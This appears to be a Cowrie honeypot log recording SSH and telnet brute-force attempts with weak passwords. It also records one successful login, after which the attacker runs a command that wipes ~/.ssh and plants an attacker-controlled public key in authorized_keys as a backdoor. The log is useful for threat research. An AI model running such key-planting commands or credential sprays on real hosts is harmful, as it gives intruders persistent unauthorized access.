{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":55992,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee7e08d5551a","protocol":"ssh","message":"New connection: 91.92.42.227:55992 (10.17.0.5:22) [session: ee7e08d5551a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:30:51.995410Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:30:52.409574Z","src_ip":"91.92.42.227","session":"ee7e08d5551a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:30:52.412616Z","src_ip":"91.92.42.227","session":"ee7e08d5551a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"123456","message":"login attempt [username/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:30:55.081203Z","src_ip":"91.92.42.227","session":"ee7e08d5551a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:30:56.815947Z","src_ip":"91.92.42.227","session":"ee7e08d5551a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":60582,"dst_ip":"10.17.0.5","dst_port":22,"session":"95afa4f37da1","protocol":"ssh","message":"New connection: 91.92.42.227:60582 (10.17.0.5:22) [session: 95afa4f37da1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:30:58.332565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:30:58.911048Z","src_ip":"91.92.42.227","session":"95afa4f37da1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:30:58.914684Z","src_ip":"91.92.42.227","session":"95afa4f37da1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":70.37067985534668,"message":"Connection lost after 70 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:00.195200Z","src_ip":"94.23.66.112","session":"4d0f287a9757","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwer1234","message":"login attempt [ubuntu/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:01.162349Z","src_ip":"91.92.42.227","session":"95afa4f37da1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:02.533525Z","src_ip":"91.92.42.227","session":"95afa4f37da1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":37974,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e9858646913","protocol":"telnet","message":"New connection: 128.199.8.54:37974 (159.203.135.109:23) [session: 0e9858646913]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:04.102471Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":52954,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a8580535bf4","protocol":"ssh","message":"New connection: 91.92.42.227:52954 (10.17.0.5:22) [session: 0a8580535bf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:05.856205Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:06.292118Z","src_ip":"91.92.42.227","session":"0a8580535bf4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:06.297113Z","src_ip":"91.92.42.227","session":"0a8580535bf4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":41440,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1fd3c1efbd5","protocol":"telnet","message":"New connection: 128.199.8.54:41440 (159.203.135.109:23) [session: a1fd3c1efbd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:07.120916Z"}
{"eventid":"cowrie.login.failed","username":"student","password":"student123","message":"login attempt [student/student123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:08.424463Z","src_ip":"91.92.42.227","session":"0a8580535bf4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":35584,"dst_ip":"10.17.0.5","dst_port":22,"session":"5aa1b7397d11","protocol":"ssh","message":"New connection: 109.237.96.109:35584 (10.17.0.5:22) [session: 5aa1b7397d11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:09.296461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:09.299628Z","src_ip":"109.237.96.109","session":"5aa1b7397d11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:09.387479Z","src_ip":"109.237.96.109","session":"5aa1b7397d11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"7f4df451","message":"login attempt [root/7f4df451] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:09.666399Z","src_ip":"109.237.96.109","session":"5aa1b7397d11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":48760,"dst_ip":"159.203.135.109","dst_port":23,"session":"790d842b8020","protocol":"telnet","message":"New connection: 128.199.8.54:48760 (159.203.135.109:23) [session: 790d842b8020]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:09.982392Z"}
{"eventid":"cowrie.session.closed","duration":0.0036427974700927734,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:09.985927Z","src_ip":"128.199.8.54","session":"790d842b8020","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:10.510175Z","src_ip":"91.92.42.227","session":"0a8580535bf4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:10.759742Z","src_ip":"109.237.96.109","session":"5aa1b7397d11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":52970,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f750ad6843a","protocol":"ssh","message":"New connection: 91.92.42.227:52970 (10.17.0.5:22) [session: 9f750ad6843a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:12.265989Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:12.793837Z","src_ip":"91.92.42.227","session":"9f750ad6843a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:12.797145Z","src_ip":"91.92.42.227","session":"9f750ad6843a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.228.74","src_port":40289,"dst_ip":"159.203.135.109","dst_port":22,"session":"0caff6b9dcb5","protocol":"ssh","message":"New connection: 168.167.228.74:40289 (159.203.135.109:22) [session: 0caff6b9dcb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:15.434709Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:15.438632Z","src_ip":"168.167.228.74","session":"0caff6b9dcb5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:15.693931Z","src_ip":"168.167.228.74","session":"0caff6b9dcb5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa123456","message":"login attempt [ubuntu/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:15.712565Z","src_ip":"91.92.42.227","session":"9f750ad6843a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"11111111","message":"login attempt [oracle/11111111] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:16.758054Z","src_ip":"168.167.228.74","session":"0caff6b9dcb5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:17.307174Z","src_ip":"168.167.228.74","session":"0caff6b9dcb5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:17.310297Z","src_ip":"168.167.228.74","session":"0caff6b9dcb5","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:17.313810Z","src_ip":"168.167.228.74","session":"0caff6b9dcb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:17.424066Z","src_ip":"91.92.42.227","session":"9f750ad6843a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":92,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:17.827445Z","src_ip":"168.167.228.74","session":"0caff6b9dcb5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:18.187688Z","src_ip":"168.167.228.74","session":"0caff6b9dcb5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:18.190914Z","src_ip":"168.167.228.74","session":"0caff6b9dcb5","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:18.451897Z","src_ip":"168.167.228.74","session":"0caff6b9dcb5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:18.455312Z","src_ip":"168.167.228.74","session":"0caff6b9dcb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.228.74","src_port":40290,"dst_ip":"159.203.135.109","dst_port":22,"session":"f36441ec0ac7","protocol":"ssh","message":"New connection: 168.167.228.74:40290 (159.203.135.109:22) [session: f36441ec0ac7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:18.699050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:18.703670Z","src_ip":"168.167.228.74","session":"f36441ec0ac7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":49622,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c25bf23b252","protocol":"ssh","message":"New connection: 91.92.42.227:49622 (10.17.0.5:22) [session: 8c25bf23b252]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:31:18.749664Z"}
